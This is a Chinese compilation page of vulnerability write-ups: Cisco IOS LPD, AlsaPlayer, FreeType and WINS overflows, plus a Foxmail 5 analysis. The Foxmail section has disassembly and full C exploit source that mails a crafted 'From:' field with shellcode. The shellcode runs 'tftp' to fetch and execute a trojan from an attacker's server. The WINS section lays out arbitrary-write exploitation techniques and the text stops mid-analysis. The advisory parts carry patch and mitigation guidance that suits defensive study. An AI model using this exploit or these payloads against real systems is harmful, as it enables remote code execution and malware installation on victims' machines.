“文门柬”为你分享7篇“IOS LPD远程缓冲区溢出漏洞”,经本站小编整理后发布,但愿对你的工作、学习、生活带来方便。
篇1:IOS LPD远程缓冲区溢出漏洞
Cisco IOS的LPD服务在处理超长的设备名时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞控制设备或导致设备拒绝服务,行式打印机服务(LPD) 用于在Cisco IOS中提供打印服务。如果IOS中配置了LPD守护程序的话,该服务会监听于默认的LPD端口TCP 515。如果任何非515的源TCP端口进行连接时,就会显示以下错误:
$ telnet 172.30.3.101 515
Trying 172.30.3.101...
Connected to 172.30.3.101 (172.30.3.101).
Escape character is '^]'.
hostname_of_the_router: /usr/lib/lpd: Malformed from address
如果主机名大于等于99个字符的话,就会由于调用sprintf函数而导致溢出,
尽管技术上是栈溢出,但由于IOS为进程栈分配堆内存,因此所覆盖的内存实际为堆。由于堆内存用作了栈,在出现溢出时主机名可以覆盖存储在字符缓冲区开始之前的返回地址,但由于某些原因在缓冲区到达堆块边界处的red zone之前不会出现崩溃,因此在出现崩溃和路由器重启后,内存dump显示的是堆破坏。
必须要控制主机名才能利用这个漏洞。如果设备上在运行SNMP且知道rw团体字符串(通常为默认值private),就可以如下设置主机名:
$ snmpset -Os -c private -v 1 10.0.0.1 system.sysName.0 s long_hostname
建议:
临时解决方法:
* 使用no printer命令禁用LPD服务。
* 配置访问列表限制对TCP 515端口的访问。
篇2:AlsaPlayer 存在处理远程缓冲区溢出漏洞
受影响系统: Alsaplayer Alsaplayer 0.99.80-rc2 Alsaplayer Alsaplayer 0.99.76 Alsaplayer Alsaplayer 0.99.71 不受影响系统: Alsaplayer Alsaplayer 0.99.80-rc3 描述: --------------------------------------------------------------------
受影响系统: Alsaplayer Alsaplayer 0.99.80-rc2 Alsaplayer Alsaplayer 0.99.76 Alsaplayer Alsaplayer 0.99.71 不受影响系统: Alsaplayer Alsaplayer 0.99.80-rc3 描述: -------------------------------------------------------------------------------- BUGTRAQ ID: 25969 AlsaPlayer是一个为ALSA声音系统编写的PCM 播放器,也支持OSS、NAS 和ESD,AlsaPlayer 存在处理远程缓冲区溢出漏洞
, AlsaPlayer在处理畸形格式的OGG文件时存在漏洞,远程攻击者可能利用此漏洞控制用户系统。 AlsaPlayer中的vorbis输入插件没有正确地处理.OGG文件,如果用户受骗打开了带有超长标注的特制.OGG文件的话,就可能触发缓冲区溢出,导致执行任意指令。 <*来源:Erik Sjölund 链接:sourceforge.net/project/shownotes.php?release_id=544663&group_id=249 secunia.com/advisories/27117/ *> 建议: -------------------------------------------------------------------------------- 厂商补丁: Alsaplayer ---------- 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: downloads.sourceforge.net/alsaplayer/alsaplayer-0.99.80-rc4.tar.gz篇3:Foxmail 5远程缓冲区溢出漏洞漏洞预警
注:本文是2月xfocus成员在内部技术交流中提出的,在此之前,启明星辰技术人员已经发现这一漏洞,但未公开细节,xfocus成员听说存在这一漏洞后对Foxmail进行分析,并写出利用代码,
测试环境:win2k sp4+foxmail 5.0.300
以前测试foxmail 4.x的时候曾经发现过溢出漏洞,不过后来一直没时间研究就先放下了,后来听说Foxmail5也有溢出,但是一直没有看见公布。于是没事的时候干脆自己研究一下,测试后发现以前的溢出漏洞已经补上了,不过出了一个新的漏洞。
问题出在PunyLib.dll里面的UrlToLocal函数,估计这是一个用来处理垃圾邮件的链接库,当一封邮件被判定为垃圾邮件时,就会调用UrlToLocal来处理邮件体的“From: ”字段,处理过程中发生堆栈溢出,可以导致执行任意代码。
具体处理过程如下:
.text:10002040 public UrlToLocal
.text:10002040 UrlToLocal proc near
.text:10002040
.text:10002040 arg_0 = dword ptr 4
.text:10002040 arg_4 = dword ptr 8
.text:10002040
.text:10002040 mov eax, dword_1000804C
.text:10002045 mov ecx, dword_10008030
.text:1000204B mov edx, [esp+arg_4]
.text:1000204F push offset aHttp ; “”
.text:10002054 push eax
.text:10002055 mov eax, [esp+8+arg_0]
.text:10002059 push offset unk_10008034
.text:1000205E push ecx
.text:1000205F push edx
.text:10002060 push eax
.text:10002061 call sub_10002070 ;调用10002070,其中参数里保存的是邮件体的“From: ”字段后面的内容
.text:10002070 sub_10002070 proc near ; CODE XREF: UrlToLocal+21p
.text:10002070 ; EmailAdrToLocal+107p
.text:10002070
.text:10002070 var_600 = dword ptr -600h
.text:10002070 var_500 = dword ptr -500h
.text:10002070 var_400 = dword ptr -400h
.text:10002070 var_300 = dword ptr -300h
.text:10002070 var_200 = dword ptr -200h
.text:10002070 var_100 = dword ptr -100h
.text:10002070 arg_0 = dword ptr 4
.text:10002070 arg_4 = dword ptr 8
.text:10002070 arg_8 = dword ptr 0Ch
.text:10002070 arg_C = dword ptr 10h
.text:10002070 arg_10 = dword ptr 14h
.text:10002070 arg_14 = dword ptr 18h
.text:10002070
.text:10002070 mov edx, [esp+arg_0]
.text:10002074 sub esp, 600h
......
.text:100020DF push eax
.text:100020E0 push ecx
.text:100020E1 push ebx
.text:100020E2 call sub_10001A30 ;调用10001A30,就是这个函数里面溢出了
.text:10001A30 sub_10001A30 proc near ; CODE XREF: sub_10002070+72p
.text:10001A30 ; sub_10002290+95p
.text:10001A30
.text:10001A30 var_104 = dword ptr -104h
.text:10001A30 var_100 = dword ptr -100h
.text:10001A30 arg_0 = dword ptr 4
.text:10001A30 arg_4 = dword ptr 8
.text:10001A30 arg_8 = dword ptr 0Ch
.text:10001A30 arg_C = dword ptr 10h
.text:10001A30 arg_10 = dword ptr 14h
.text:10001A30 arg_14 = dword ptr 18h
.text:10001A30
.text:10001A30 sub esp, 104h ;分配0x104字节大小的堆栈,但是拷贝的“From: ”字段最大为0x200
.text:10001A36 push ebx
.text:10001A37 mov ebx, [esp+108h+arg_0]
.text:10001A3E push ebp
.text:10001A3F mov ebp, [esp+10Ch+arg_10]
.text:10001A46 push esi
.text:10001A47 xor esi, esi
......
.text:10001AA9 sub edi, ecx
.text:10001AAB mov eax, ecx
.text:10001AAD mov esi, edi
.text:10001AAF mov edi, edx
.text:10001AB1 shr ecx, 2
.text:10001AB4 rep movsd ;这里进行内存拷贝的时候溢出了,按照“From: ”字段大小拷贝到0x104的缓冲区里
.text:10001AB6 mov ecx, eax
.text:10001AB8 and ecx, 3
.text:10001ABB rep movsb
......
.text:10001AE7 mov edi, [esp+114h+arg_C]
.text:10001AEE shr ecx, 2
.text:10001AF1 rep movsd ;这里有几处地方会对局部变量进行操作,因为这些变量都被覆盖了,所以需要把他们覆盖成可以写的地址,我覆盖的是0x7ffdf220这个地址,应该是PEB的区域,所以必须在后面shellcode里面把这个区域的内容恢复成0
.text:10001AF3 mov ecx, eax
.text:10001AF5 and ecx, 3
.text:10001AF8 rep movsb
......
.text:10001BD7 pop edi
.text:10001BD8 pop esi
.text:10001BD9 pop ebp
.text:10001BDA pop ebx
.text:10001BDB add esp, 104h
.text:10001BE1 retn ;返回的时候就会回到我们的JMP ESP地址去
这个溢出无法覆盖SEH,而且字符串里面不能包含“@,(,,,r,n”这些乱七八糟的字符。shellcode用的是ey4s写的用URLMON下载并运行exe文件的那个。
有些MAIL服务器会把shellcode截断,所以我又改了一下,用比较短的shellcode直接运行tftp来下载程序并运行,测试了一下成功率比原来有所提高,但是容易被防火墙给拦截下来。
/* fmx.c - x86/win32 Foxmail 5.0 PunyLib.dll remote stack buffer overflow exploit
*
* (C) COPYRIGHT XFOCUS Security Team,
* All Rights Reserved
*
* This is unpublished proprietary source code of XFOCUS Security Team.
* It should not be distributed in any form. without express permission
* from XFOCUS Security Team.
*
* -----------------------------------------------------------------------
* Author : xfocus
* : www.xfocus.org
* Maintain : XFOCUS Security Team
* Version : 0.2
*
* Test : Windows server GB/XP professional
* + Foxmail 5.0.300.0
* Notes : unpublished vul.
* Greets : ey4s, and all member of XFOCUS Security Team.
* Complie : cl fmx.c
* Usage : fmx
* mail_addr: email address we wantto hack
* tftp_server: run a tftp server and have a a.exe trojan
* smtp_server: SMTP server don't need login, we send the email thru it
*
* Date : 2004-02-27
* Revised : 2004-03-05
*
* Revise History:
* -03-05 call WinExec addr of Foxmail.exe module to run tftp for down&execute
*/
#include
#include
#include
#pragma comment (lib,“ws2_32”)
//mail body, it's based on a real spam email, heh
unsigned char packet[] =
“From: %srn” //buffer to overrun
“Subject: Hi,manrn”
“MIME-Version: 1.0rn”
“Content-Type: multipart/mixed; boundary=”87122827“rn”
“rn”
“rn”
“--87122827rn”
“Content-Type: text/plain; charset=us-asciirn”
“Content-Transfer-Encoding: 7bitrn”
“rn”
“Trn”
“rn”
“--87122827rn”
“Content-Disposition: attachmentrn”
“Content-Type: Text/HTML;rn”
“ name=”girl.htm“rn”
“Content-Transfer-Encoding: 7bitrn”
“rn”
“rn”
“--87122827--rn”
“rn”
“.rn”;
//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.300)
unsigned char winexec[] =
“x83xecx50xebx0cxb9x41x10xd3x5dxc1xe9x08xffx11xebx08x33xdbx53xe8xecxffxffxff”;
//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)
unsigned char winexec2[] =
“x83xecx50xebx0cxb9x41x10xa3x5dxc1xe9x08xffx11xebx08x33xdbx53xe8xecxffxffxff”;
#define SMTPPORT 25
int Make_Connection(char *address,int port,int timeout);
int SendXMail(char *mailaddr, char *tftp, char *smtpserver, char *shellcode);
int main(int argc, char * argv[])
{
WSADATA WSAData;
char *mailaddr = NULL;
char *tftp = NULL;
char *smtpserver = NULL;
if(argc!=4)
{
printf(“Usage: %s
return 1;
}
mailaddr=argv[1];
tftp=argv[2];
smtpserver=argv[3];
if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
printf(“WSAStartup failed.n”);
WSACleanup();
exit(1);
}
//WinExec() address
SendXMail(mailaddr, tftp, smtpserver, winexec); //WinExec() address in Foxmail.exe module(foxmail 5.0.300)
SendXMail(mailaddr, tftp, smtpserver, winexec2); //WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)
WSACleanup();
return 0;
}
// 建立TCP连接
// 输入:
// char * address IP地址
// int port 端口
// int timeout 延时
// 输出:
// 返回:
// 成功 >0
// 错误 <=0
int Make_Connection(char *address,int port,int timeout)
{
struct sockaddr_in target;
SOCKET s;
int i;
DWORD bf;
fd_set wd;
struct timeval tv;
s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
target.sin_family = AF_INET;
target.sin_addr.s_addr = inet_addr(address);
if(target.sin_addr.s_addr==0)
{
closesocket(s);
return -2;
}
target.sin_port = htons(port);
bf = 1;
ioctlsocket(s,FIONBIO,&bf);
tv.tv_sec = timeout;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
closesocket(s);
return -3;
}
if(i==0)
{
closesocket(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
closesocket(s);
return -5;
}
ioctlsocket(s,FIONBIO,&bf);
return s;
}
//send magic mail
int SendXMail( char *mailaddr, char *tftp, char *smtpserver, char *shellcode)
{
SOCKET csock;
int ret,i=0;
char buf[510], sbuf[0x10000], tmp[500], tmp1[500];
csock = Make_Connection(smtpserver, SMTPPORT, 10);
if(csock<0)
{
printf(“connect err.n”);
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf(“recv err.n”);
exit(1);
}
printf(buf);
ret=send(csock, “HELO serverrn”,strlen(“HELO serverrn”), 0);
if(ret<=0)
{
printf(“send err.n”);
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf(“recv err.n”);
exit(1);
}
printf(buf);
ret=send(csock, “MAIL FROM: info@sina.comrn”,strlen(“MAIL FROM: info@sina.comrn”), 0);
if(ret<=0)
{
printf(“send err.n”);
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf(“recv err.n”);
exit(1);
}
printf(buf);
sprintf(tmp, “RCPT TO: %srn”, mailaddr);
ret=send(csock, tmp,strlen(tmp), 0);
if(ret<=0)
{
printf(“send err.n”);
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf(“recv err.n”);
exit(1);
}
printf(buf);
Sleep(1000);
ret=send(csock, “DATArn”,strlen(“DATArn”), 0);
if(ret<=0)
{
printf(“send err.n”);
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf(“recv err.n”);
exit(1);
}
printf(buf);
printf(“send exploit mail...n”);
memset(sbuf, 0, sizeof(sbuf));
memset(buf, 0, sizeof(buf));
memset(buf, 0x41, sizeof(buf)-1);
memset(tmp, 0, sizeof(tmp));
//strcpy(tmp, winexec);//WinExec() address in Foxmail.exe module(foxmail 5.0.300)
strcpy(tmp, shellcode);//WinExec() address in Foxmail.exe module
strcat(tmp, “cmd /c tftp -i %s get a.exe&a.exe:”);
sprintf(tmp1, tmp, tftp);
memcpy(buf+0x100-strlen(tmp1), tmp1, strlen(tmp1));
*(int *)(buf+0x100)=0x7ffa54cd; //ret addr jmp esp
*(int *)(buf+0x104)=0x80eb80eb; //jmp back
*(int *)(buf+0x108)=0x7ffdf220; //writeable addr
*(int *)(buf+0x110)=0x7ffdf220; //writeable addr
memcpy(buf, “girlx0d”, 5);
sprintf(sbuf, (char *)packet, buf);
ret=send(csock, sbuf,strlen(sbuf), 0);
if(ret<=0)
{
printf(“send err.n”);
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf(“recv err.n”);
exit(1);
}
printf(buf);
printf(“exploit mail sent.n”);
closesocket(csock);
return 0;
}
安全焦点
篇4:FreeType LWFN文件处理远程缓冲区溢出漏洞
受影响系统:
FreeType FreeType < 2.2.1
不受影响系统:
FreeType FreeType 2.2.1
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 18034
CVE(CAN) ID: CVE--1861,CVE-2006-3467
FreeType是一个流行的字体函数库,
FreeType在处理PCF字体时存在整数溢出,远程攻击者可能利用此漏洞在用户机器上执行任意指令。
如果用户受骗使用链接到FreeType的应用程序加载了特制的字体文件的话,就会导致拒绝服务或执行任意代码。
<*来源:Chris Evans (chris@ferret.lmh.ox.ac.uk)
链接:secunia.com/advisories/22907/
www.debian.org/security//dsa-1193
www.debian.org/security/2005/dsa-1178
www.auscert.org.au/render.html?it=6500
lwn.net/Alerts/196519
lwn.net/Alerts/196520
ftp://patches.sgi.com/support/free/security/advisories/20060701-01-U.asc
sunsolve.sun.com/search/printfriendly.do?assetkey=1-26-102714-1
*>
建议:
--------------------------------------------------------------------------------
厂商补丁:
Debian
------
Debian已经为此发布了一个安全公告(DSA-1178-1)以及相应补丁:
DSA-1178-1:New freetype packages fix execution of arbitrary code
链接:www.debian.org/security/2005/dsa-1178
补丁下载:
Source archives:
security.debian.org/pool/updates/main/f/freetype/freetype_2.1.7-6.dsc
Size/MD5 checksum: 754 76dbe18b57a53fac328a1f8e00f54bd0
security.debian.org/pool/updates/main/f/freetype/freetype_2.1.7-6.diff.gz
Size/MD5 checksum: 57568 860e9383bba7d853ce6f758c239e89ed
security.debian.org/pool/updates/main/f/freetype/freetype_2.1.7.orig.tar.gz
Size/MD5 checksum: 1245623 991ff86e88b075ba363e876f4ea58680
Alpha architecture:
security.debian.org/pool/updates/main/f/freetype/freetype2-demos_2.1.7-6_alpha.deb
Size/MD5 checksum: 88180 697811d9160b950b3d73682701f14e3c
security.debian.org/pool/updates/main/f/freetype/libfreetype6_2.1.7-6_alpha.deb
Size/MD5 checksum: 422838 635b31efebdb8fb192f7ee717a5e79f1
security.debian.org/pool/updates/main/f/freetype/libfreetype6-dev_2.1.7-6_alpha.deb
Size/MD5 checksum: 784368 3d90ddefa034bae14101e1f9057efda7
AMD64 architecture:
security.debian.org/pool/updates/main/f/freetype/freetype2-demos_2.1.7-6_amd64.deb
Size/MD5 checksum: 76242 73b70a41effc140791d6b58cf8d3a103
security.debian.org/pool/updates/main/f/freetype/libfreetype6_2.1.7-6_amd64.deb
Size/MD5 checksum: 390236 6b1c46c525b13bf78e6aa6adfe876300
security.debian.org/pool/updates/main/f/freetype/libfreetype6-dev_2.1.7-6_amd64.deb
Size/MD5 checksum: 723742 e8cfab359664bd05c9606e21b632c9d6
ARM architecture:
security.debian.org/pool/updates/main/f/freetype/freetype2-demos_2.1.7-6_arm.deb
Size/MD5 checksum: 58734 5535bb49abfbdb3a9add023c2f21fe07
security.debian.org/pool/updates/main/f/freetype/libfreetype6_2.1.7-6_arm.deb
Size/MD5 checksum: 352880 7dcc3438f6e69b8956244f3946038897
security.debian.org/pool/updates/main/f/freetype/libfreetype6-dev_2.1.7-6_arm.deb
Size/MD5 checksum: 714518 6cae07f317c33b3f2f5de4e6209b3154
HP Precision architecture:
security.debian.org/pool/updates/main/f/freetype/freetype2-demos_2.1.7-6_hppa.deb
Size/MD5 checksum: 80772 94c00e9be0020ec69779bb2961dedcc2
security.debian.org/pool/updates/main/f/freetype/libfreetype6_2.1.7-6_hppa.deb
Size/MD5 checksum: 407420 32967b0b193f09fdbfcf1a0f55cff736
security.debian.org/pool/updates/main/f/freetype/libfreetype6-dev_2.1.7-6_hppa.deb
Size/MD5 checksum: 734434 7cb208545154507cf3462af986575e35
Intel IA-32 architecture:
security.debian.org/pool/updates/main/f/freetype/freetype2-demos_2.1.7-6_i386.deb
Size/MD5 checksum: 63190 5c65822f534a53c3f88c72cc32253f37
security.debian.org/pool/updates/main/f/freetype/libfreetype6_2.1.7-6_i386.deb
Size/MD5 checksum: 364858 555ba61fec5d41a3759f08bc330b9dff
security.debian.org/pool/updates/main/f/freetype/libfreetype6-dev_2.1.7-6_i386.deb
Size/MD5 checksum: 695074 81249aa29df653e228162b59f55da8a3
Intel IA-64 architecture:
security.debian.org/pool/updates/main/f/freetype/freetype2-demos_2.1.7-6_ia64.deb
Size/MD5 checksum: 102616 8cfcca90b20054ab717d669c1109166c
security.debian.org/pool/updates/main/f/freetype/libfreetype6_2.1.7-6_ia64.deb
Size/MD5 checksum: 493792 eea2110b00ae876e0621365278628865
security.debian.org/pool/updates/main/f/freetype/libfreetype6-dev_2.1.7-6_ia64.deb
Size/MD5 checksum: 844018 2351fd3f7be66cea09bb68ae99407805
Motorola 680x0 architecture:
security.debian.org/pool/updates/main/f/freetype/freetype2-demos_2.1.7-6_m68k.deb
Size/MD5 checksum: 43862 a0ad63b48cef0fcd6d620e9eea56dcfd
security.debian.org/pool/updates/main/f/freetype/libfreetype6_2.1.7-6_m68k.deb
Size/MD5 checksum: 359672 e66cdcceff0149866934d8330a10be7f
security.debian.org/pool/updates/main/f/freetype/libfreetype6-dev_2.1.7-6_m68k.deb
Size/MD5 checksum: 678786 2c12367dd397823d71c58ecc4db0f4a5
Big endian MIPS architecture:
security.debian.org/pool/updates/main/f/freetype/freetype2-demos_2.1.7-6_mips.deb
Size/MD5 checksum: 91804 d14ecf530fa28216f71937d98baaaab6
security.debian.org/pool/updates/main/f/freetype/libfreetype6_2.1.7-6_mips.deb
Size/MD5 checksum: 384572 5dde54f093153caa592e20757e478199
security.debian.org/pool/updates/main/f/freetype/libfreetype6-dev_2.1.7-6_mips.deb
Size/MD5 checksum: 742438 d0bcd379d23db5f38f7718f4337d3227
Little endian MIPS architecture:
security.debian.org/pool/updates/main/f/freetype/freetype2-demos_2.1.7-6_mipsel.deb
Size/MD5 checksum: 91522 9c36563692b17dcfc1a98c3e8d7e97ab
security.debian.org/pool/updates/main/f/freetype/libfreetype6_2.1.7-6_mipsel.deb
Size/MD5 checksum: 376512 ceed1298a93acb941d3c0af2c282764e
security.debian.org/pool/updates/main/f/freetype/libfreetype6-dev_2.1.7-6_mipsel.deb
Size/MD5 checksum: 735774 fd948760267718e195c78dd2e24215f2
PowerPC architecture:
security.debian.org/pool/updates/main/f/freetype/freetype2-demos_2.1.7-6_powerpc.deb
Size/MD5 checksum: 81976 8fcc45ef341f6c9eb0e62f0b33f0b00a
security.debian.org/pool/updates/main/f/freetype/libfreetype6_2.1.7-6_powerpc.deb
Size/MD5 checksum: 379578 eaf219ba8b48fcce91c5118188c0b418
security.debian.org/pool/updates/main/f/freetype/libfreetype6-dev_2.1.7-6_powerpc.deb
Size/MD5 checksum: 730094 a6d4471fdd1f7ad1f5f625b35d1f79ed
IBM S/390 architecture:
security.debian.org/pool/updates/main/f/freetype/freetype2-demos_2.1.7-6_s390.deb
Size/MD5 checksum: 76228 ac7a5773d28f83d09d0e0918916e8ddf
security.debian.org/pool/updates/main/f/freetype/libfreetype6_2.1.7-6_s390.deb
Size/MD5 checksum: 400188 d93224537dea195ad6d642d6b1bd0cfd
security.debian.org/pool/updates/main/f/freetype/libfreetype6-dev_2.1.7-6_s390.deb
Size/MD5 checksum: 752482 ca8df04a75ef0a814b5cad469b9ad024
Sun Sparc architecture:
security.debian.org/pool/updates/main/f/freetype/freetype2-demos_2.1.7-6_sparc.deb
Size/MD5 checksum: 68420 1cd0b5cc3fcb62ac0ef639467fba9ebc
security.debian.org/pool/updates/main/f/freetype/libfreetype6_2.1.7-6_sparc.deb
Size/MD5 checksum: 364098 95e28187528ecd25b87a6ad7475c056b
security.debian.org/pool/updates/main/f/freetype/libfreetype6-dev_2.1.7-6_sparc.deb
Size/MD5 checksum: 699966 8cf12c5209c6ff1d703166a638e5775d
补丁安装方法:
1. 手工安装补丁包:
首先,使用下面的命令来下载补丁软件:
# wget url (url是补丁下载链接地址)
然后,使用下面的命令来安装补丁:
# dpkg -i file.deb (file是相应的补丁名)
2. 使用apt-get自动安装补丁包:
首先,使用下面的命令更新内部数据库:
# apt-get update
然后,使用下面的命令安装更新软件包:
# apt-get upgrade
RedHat
------
RedHat已经为此发布了一个安全公告(RHSA-2006:0635-01)以及相应补丁:
RHSA-2006:0635-01:Important: XFree86 security update
链接:lwn.net/Alerts/196520
SGI
---
SGI已经为此发布了一个安全公告(20060701-01-U)以及相应补丁:
20060701-01-U:SGI Advanced Linux Environment 3 Security Update #60
链接:ftp://patches.sgi.com/support/free/security/advisories/20060701-01-U.asc
Sun
---
Sun已经为此发布了一个安全公告(Sun-Alert-102714)以及相应补丁:
Sun-Alert-102714:Security Vulnerability With Integer Multiplication Within libXfont Affects Solaris X11 Servers
链接:sunsolve.sun.com/search/printfriendly.do?assetkey=1-26-102714-1
FreeType
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
prdownloads.sourceforge.net/freetype/freetype-2.2.1.tar.bz2?download
篇5:推荐:冷眼Wins远程溢出漏洞
十一月底,Immunitysec公开了一个WINS的远程安全漏洞,入侵者可利用该漏洞完全控制运行着WINS服务的系统,其实这个漏洞早就被发现而且在地下流传已久,不过是最近才公布而已。就其公布的原因,估计是因为这个漏洞有趣,而且造成的影响不是很大吧。漏洞本身的特性决定了这个漏洞的利用可以有多种路子,让攻击者使用不同的方法来获得远程控制权,也许就是Immunitysec公开这个漏洞的初衷。不过微软对这个漏洞很敏感,没有发布补丁,因为说自己没有收到攻击报文,所以,本文只是详细的分析了整个漏洞的构造、利用,并未给出具体的利用程序和代码,相信读过我们系列文章“菜鸟版Expliot指南”的朋友应该都有能力写上一段自己的代码吧?
冷眼Wins远程溢出漏洞
文/图 马木留克
关于这个漏洞的描述,比较官方的描述是这样的:WINS服务支持一个称之为“WINS 复制”的特性,不同的WINS服务器可以靠这个功能交换信息。WINS复制使用的也是监听在TCP 42端口上的标准WINS协议。在WINS复制的会话过程中,服务器端会发送一个内存指针给客户端,客户端用这个指针进行后续的会话。如果客户端在发送的数据中自己修改这个指针,使之指向用户控制的数据,最终就可以向任意地址写入16个字节的数据,通过覆盖特殊地址可以执行任意代码。
对于攻击者而言,了解其中的细节非常必要。通过这一个描述,大致上我们已经可以了解到,这不是一个典型的堆或者栈上的溢出,而是WINS用我们指定的一个数据作为指针,进行了一些操作,最终导致可以写16个字节的数据到任意地址――对于大多数情况而言,能写16个字节的数据就已经足够了,典型的堆溢出甚至只需要写4个字节的数据,这个条件还是很宽松的。通过进一步的分析,我们还可以知道,这里的“16个字节”是指连续的16个字节,更为重要的是,WINS服务处理异常的机制非常的强劲,在你提交恶意的代码造成漏洞利用之后,WINS服务不会挂掉,而是继续的运行,这就意味着我们可以反复地进行“写连续的16字节”。试想一下,我们可以反复的尝试直到成功为止,这个过程中WINS服务不会因为我们的恶意攻击而出现停止的情况。
在反汇编WINS服务的守护进程之前,我们可以想象一下各种可能的利用方式。按照Immunitysec的说法,恶意用户提交的数据是在堆上的,这就非常类似于远程堆溢出,加上可以写任意值到任意的地址,可以想象,几乎所有的堆溢出利用方式都可以应用到这上面来。最常用的,写top seh,然后看能不能通过寄存器来定位;其次,我们可以尝试写Lookaside表,通过多次发包来强制定位自己的ShellCode地址,然后通过改写RtlEnterCriticalSection(0x7ffdf020)等固定的函数指针来获得控制权;再直接一点,既然可以多次触发而服务不崩溃,那反复利用这个漏洞,直接写ShellCode到一块固定的内存(比如0x7ffdf222)去,继而通过改写固定的函数指针来获得控制权也是一条路子。总之,漏洞本身的特性决定了这个漏洞的利用可以有多种路子,让攻击者使用不同的方法来获得远程控制权,也许就是Immunitysec公开这个漏洞的初衷吧。
Immunity在公布漏洞的同时,公布了触发漏洞的报文格式,如表1所示:
报文长度(除头部4字节)
XX XX FF XX
四字节指针(绝对地址)
…… …… …… ……
(表1)
其中报文的长度要小于0x2f87f8。报文本身没有什么其它特殊的要求,满足上述格式的都可以触发漏洞。报文中的第三个DOWRD就是一个我们可以控制的指针,因此,我们可以设定这个指针指向我们发送的报文本身所在的地方,进而控制随后依据这个指针的内存读写。
在一台Windows Server SP3 + MS04006补丁的机器上,反汇编Wins.exe可以得到如下的代码:
.text:0101FE34 sub_101FE34 proc near ; CODE XREF: sub_101FD13+2A p
.text:0101FE34
.text:0101FE34 var_84 = dword ptr -84h
... ..
.text:0101FE34 arg_4 = dword ptr 0Ch
.text:0101FE34 arg_8 = dword ptr 10h
.text:0101FE34 arg_C = dword ptr 14h
... ...
.text:0101FE64 mov ebx, [ebp+arg_4]; 指向提交数据的指针
.text:0101FE67 mov al, [ebx+2] ; Flag的第三个字节
.text:0101FE6A mov cl, al
.text:0101FE6C and cl, 78h
.text:0101FE6F cmp cl, 78h ; 和0x78与操作,这里必须跳转
.text:0101FE72 jz loc_101FF07
... ...(中间三个跳转)
.text:010200F6 push eax ; 可以控制的指针A
.text:010200F7 lea ecx, [eax+50h]
.text:010200FA push ecx ; 指针A + 50h
.text:010200FB push dword ptr [eax+44h]
.text:010200FE push [ebp+arg_8] ; 数据的长度(报文头)
.text:0101 push [ebp+arg_4] ; 指向提交数据的指针
.text:01020104 call sub_1020610
... ...
.text:01020638 xor ebx, ebx ; ebx置零
.text:01020640 mov eax, [ebp+arg_10] ; 指针A
.text:01020643 cmp eax, ebx ; 是否为合法地址(not NULL)
.text:01020645 jnz loc_10206CC ; 合法
... ...
.text:010206CC mov ecx, [eax+2Ch] ; 指针A+2C地址的内容
.text:010206CF mov [ebp+var_20], ecx
.text:010206D2 lea edi, [ecx+48h] ; 拷贝的源地址
.text:010206D5 mov esi, [ebp+arg_C]; 目的地址A+44地址的内容
.text:010206D8 movsd ; 十六字节的写操作,源/目的可控
.text:010206D9 movsd
.text:010206DA movsd
.text:010206DB movsd
可以看到提交报文中第三个DOWRD指针指向的内容最终进行了一系列的写操作,
如果以Where表示写操作的目的(esi),What表示写操作的数值(edi),简化后这个指针指向如下所示的结构如表2所示:
where �C 48h (lea edi, [ecx+48h]) offset:0h
… … … … … … … … … … … …
what * 4 (4个DOWRD) offset:24h
(表2)
精心控制发送报文中的指针的值,最后可以写四个DWORD。我们可以猜测我们发送的报文的大概位置,然后设定这个指针,那么,WINS就会把我们报文中的数字写到报文中指定的位置去。提交报文的长度可以很长(前面说了,只要小于0x2f87f8都是可以的),所以我们猜测起来还是比较方便,关键是这个指针指向的内容必须符合一定结构(见上表),一个比较好的方式是按照如下的结构指定我们发送报文中的内容(如表3所示)。
Where �C 48h (DWORD) * 9
What * 4 (4个DWORD) * 9
(表3)
这样,我们只要大量的填充上述结构,就可以提高成功率――只要有一次猜测的指针指向数据块的位置是Where(连续九个为一组)就算成功。内存中大量的上述结构,加上这里堆分配的一些特性,最差情况下猜37次就可以猜到一个(连须36次都指针都猜到了What上),这个成功率还是可以接受的。从测试的情况来看,触发这个漏洞后极有可能导致堆内存没有正确释放,一个可能的利用办法就是先发送由一个大量上述结构填充的报文,设定指针指向一个会造成异常的地址(比如0xffffffff,但不能是0x0,WINS里面判断过这种情况),让这块内存不释放,然后后面都发小包来暴力猜测地址,从而准确的控制写入的源和目的地址。
好不容易才解决了写16字节到任意地址的方式,那么要写什么东西到哪里去呢?前面说过一些类似于堆利用的方法,可以去试试看,写出来的东西通用性应该很好,下面尝试的是另外一种方法。
要获得控制权就要想办法让程序执行到我们所指定的位置去。一般来说写一个程序会调用的函数指针是最好,如果不行的话也可以考虑写栈上的返回地址。上面的反汇编中,sub_1020610是导致写16字节的函数,这个函数并没有异常,我们可以考虑在这个地方先下一个断点,继续跟踪一直到有Ret的出现。Ret的意义在于把栈顶的数据作为返回值,也就是[ESP]->EIP,我们要是能够找准当时栈顶的位置然后覆盖掉,就可以准确地控制程序的流向。
